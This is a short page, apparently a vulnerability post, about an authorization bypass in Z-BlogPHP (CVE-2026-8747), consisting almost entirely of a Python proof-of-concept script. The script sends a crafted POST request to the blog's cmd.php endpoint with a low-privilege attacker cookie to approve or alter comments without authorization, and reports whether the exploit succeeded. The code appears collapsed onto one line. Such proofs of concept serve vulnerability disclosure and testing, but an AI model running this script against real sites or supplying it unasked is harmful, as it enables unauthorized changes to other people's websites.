CVE-2026-8747 Z-BlogPHP权限绕过漏洞

import requests # PoC for CVE-2026-8747 # This script demonstrates the authorization bypass in Z-BlogPHP CheckComment function. target_url = "http://target-url/zb_system/cmd.php?act=misc&type=vali" # The vulnerability allows bypassing authorization checks in the comment approval process payload = { "id": "1", "ischecking": "0" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "" # Attacker's low-privilege cookie } try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Authorization bypassed.") else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"Error: {e}")